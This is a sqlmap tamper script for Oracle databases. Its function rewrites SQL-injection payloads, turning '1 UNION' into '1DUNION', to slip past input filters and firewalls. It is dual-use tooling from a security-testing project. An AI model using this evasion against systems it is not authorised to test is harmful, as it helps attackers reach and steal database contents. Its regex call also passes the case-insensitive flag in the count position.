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35 lines
906 B
Python
35 lines
906 B
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import os
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import re
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from lib.core.common import singleTimeWarnMessage
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from lib.core.enums import DBMS
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.HIGHEST
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def dependencies():
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singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ORACLE))
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def tamper(payload, **kwargs):
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"""
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Replaces instances of <int> UNION with <int>DUNION
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Requirement:
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* Oracle
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Notes:
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* Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf
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>>> tamper('1 UNION ALL SELECT')
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'1DUNION ALL SELECT'
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"""
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return re.sub("(\d+)\s+(UNION )", r"\g<1>D\g<2>", payload, re.I) if payload else payload
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